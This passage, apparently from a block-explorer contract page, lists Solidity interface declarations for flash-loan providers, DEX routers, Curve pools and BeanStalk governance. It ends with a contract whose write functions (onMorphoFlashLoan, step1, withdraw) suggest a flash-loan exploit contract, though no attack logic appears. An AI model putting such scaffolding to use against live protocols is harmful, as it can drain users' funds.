) external view returns (IERC20[] memory tokens, uint256[] memory balances, uint256 lastChangeBlock);
}
interface IERC721 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(
address owner
) external view returns (uint256 balance);
function ownerOf(
uint256 tokenId
) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(
uint256 tokenId
) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
function burn(
uint256 id
) external;
}
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
interface IvVISR {
function balanceOf(
address account
) external view returns (uint256);
function mint(address account, uint256 amount) external;
}
interface IRouter {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface ILendingPool {
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external;
function getUserAccountData(
address user
)
external
view
returns (
uint256 totalCollateralETH,
uint256 totalDebtETH,
uint256 availableBorrowsETH,
uint256 currentLiquidationThreshold,
uint256 ltv,
uint256 healthFactor
);
function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;
/**
* @dev Allows depositors to enable/disable a specific deposited asset as collateral
* @param asset The address of the underlying asset deposited
* @param useAsCollateral `true` if the user wants to use the deposit as collateral, `false` otherwise
*
*/
function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external;
function borrow(
address asset,
uint256 amount,
uint256 interestRateMode,
uint16 referralCode,
address onBehalfOf
) external;
function repay(address asset, uint256 amount, uint256 RateMode,address onBehalfOf) external payable;
function repay(address _reserve, uint256 _amount, address _onBehalfOf) external payable;
function withdraw(address asset, uint256 amount, address to) external returns (uint256);
}
interface IDaiFlashloan {
function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external returns (bool);
}
interface IAaveFlashloan {
function getUserAccountData(address user)
external
view
returns (
uint256 totalCollateralBase,
uint256 totalDebtBase,
uint256 availableBorrowsBase,
uint256 currentLiquidationThreshold,
uint256 ltv,
uint256 healthFactor
);
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external;
function flashLoanSimple(
address receiverAddress,
address asset,
uint256 amount,
bytes calldata params,
uint16 referralCode
) external;
function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;
function supply(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;
function borrow(
address asset,
uint256 amount,
uint256 interestRateMode,
uint16 referralCode,
address onBehalfOf
) external;
function repay(
address asset,
uint256 amount,
uint256 interestRateMode,
address onBehalfOf
) external returns (uint256);
function withdraw(address asset, uint256 amount, address to) external returns (uint256);
}
interface IcurveYSwap {
function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external;
function exchange_underlying(int128 i, int128 j, uint256 dx, uint256 min_dy) external;
}
interface IHarvestUsdcVault {
function deposit(
uint256 amountWei
) external;
function withdraw(
uint256 numberOfShares
) external;
function balanceOf(
address account
) external view returns (uint256);
}
interface IUniswapV2Router {
function WETH() external view returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function factory() external view returns (address);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountsIn(uint256 amountOut, address[] memory path) external view returns (uint256[] memory amounts);
function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);
function quote(uint256 amountA, uint256 reserveA, uint256 reserveB) external pure returns (uint256 amountB);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function swapETHForExactTokens(
uint256 amountOut,
address[] memory path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] memory path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] memory path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] memory path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] memory path,
address to,
uint256 deadline
) external;
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] memory path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] memory path,
address to,
uint256 deadline
) external;
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] memory path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] memory path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
receive() external payable;
}
interface ICurvePool {
function A() external view returns (uint256 out);
function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external payable returns (uint256);
function add_liquidity(uint256[3] memory amounts, uint256 min_mint_amount) external returns (uint256);
function add_liquidity(uint256[4] memory amounts, uint256 min_mint_amount) external returns (uint256);
function admin_fee() external view returns (uint256 out);
function balances(
uint256 arg0
) external view returns (uint256 out);
function calc_token_amount(uint256[] memory amounts, bool is_deposit) external view returns (uint256 lp_tokens);
/// @dev vyper upgrade changed this on us
function coins(
int128 arg0
) external view returns (address out);
/// @dev vyper upgrade changed this on us
function coins(
uint256 arg0
) external view returns (address out);
/// @dev vyper upgrade changed this on us
function underlying_coins(
int128 arg0
) external view returns (address out);
/// @dev vyper upgrade changed this on us
function underlying_coins(
uint256 arg0
) external view returns (address out);
function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external payable;
// newer pools have this improved version of exchange_underlying
function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy, address receiver) external returns (uint256);
function exchange(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy,
bool use_eth,
address receiver
) external returns (uint256);
function exchange_underlying(int128 i, int128 j, uint256 dx, uint256 min_dy) external;
function exchange_underlying(address pool, int128 i, int128 j, uint256 dx, uint256 min_dy) external;
function fee() external view returns (uint256 out);
function future_A() external view returns (uint256 out);
function future_fee() external view returns (uint256 out);
function future_admin_fee() external view returns (uint256 out);
function get_dy(int128 i, int128 j, uint256 dx) external view returns (uint256);
function get_dy_underlying(int128 i, int128 j, uint256 dx) external view returns (uint256);
function get_virtual_price() external view returns (uint256 out);
function remove_liquidity(
uint256 token_amount,
uint256[2] memory min_amounts
) external returns (uint256[2] memory);
function remove_liquidity(
uint256 token_amount,
uint256[3] memory min_amounts
) external returns (uint256[3] memory);
function remove_liquidity_imbalance(uint256[3] memory amounts, uint256 max_burn_amount) external;
function remove_liquidity_one_coin(uint256 token_amount, int128 i, uint256 min_amount) external;
}
interface IBeanStalk {
function depositBeans(
uint256
) external;
function emergencyCommit(
uint32 bip
) external;
function deposit(address token, uint256 amount) external;
function vote(
uint32 bip
) external;
function bip(
uint32 bipId
) external view returns (address, uint32, uint32, bool, int256, uint128, uint256, uint256);
struct FacetCut {
address facetAddress;
uint8 action;
bytes4[] functionSelectors;
}
function propose(
FacetCut[] calldata _diamondCut,
address _init,
bytes calldata _calldata,
uint8 _pauseOrUnpause
) external;
function numberOfBips() external view returns (uint32);
}
interface IMorphoBuleFlashLoan {
function flashLoan(address token, uint256 assets, bytes calldata data) external;
}
interface IUniswapV3Flash {
function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
}
interface IMakerDaoFlash {
function flashLoan(
address receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool);
}
interface IgetTargetAddress {
function targetAdress()external view returns (address);
function SetTargetAdress(address _target)external ;
}
interface IDODO {
function flashLoan(uint256 baseAmount, uint256 quoteAmount, address _assetTo, bytes calldata data) external;
}
interface Uni_Pair_V2 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
event Transfer(address indexed from, address indexed to, uint256 value);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function MINIMUM_LIQUIDITY() external view returns (uint256);
function PERMIT_TYPEHASH() external view returns (bytes32);
function allowance(address, address) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function balanceOf(
address
) external view returns (uint256);
function burn(
address to
) external returns (uint256 amount0, uint256 amount1);
function decimals() external view returns (uint8);
function factory() external view returns (address);
function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
function initialize(address _token0, address _token1) external;
function kLast() external view returns (uint256);
function mint(
address to
) external returns (uint256 liquidity);
function name() external view returns (string memory);
function nonces(
address
) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function skim(
address to
) external;
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external;
function symbol() external view returns (string memory);
function sync() external;
function token0() external view returns (address);
function token1() external view returns (address);
function totalSupply() external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
Write Contract 3 functions
These functions modify contract state and require a wallet transaction to execute.
onMorphoFlashLoan 0x31f57072
uint256 x
bytes
step1 0xd40a71fb
No parameters
withdraw 0x2e1a7d4d
uint256 _step
Recent Transactions
This address has 1 on-chain transactions, but only 1.6% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →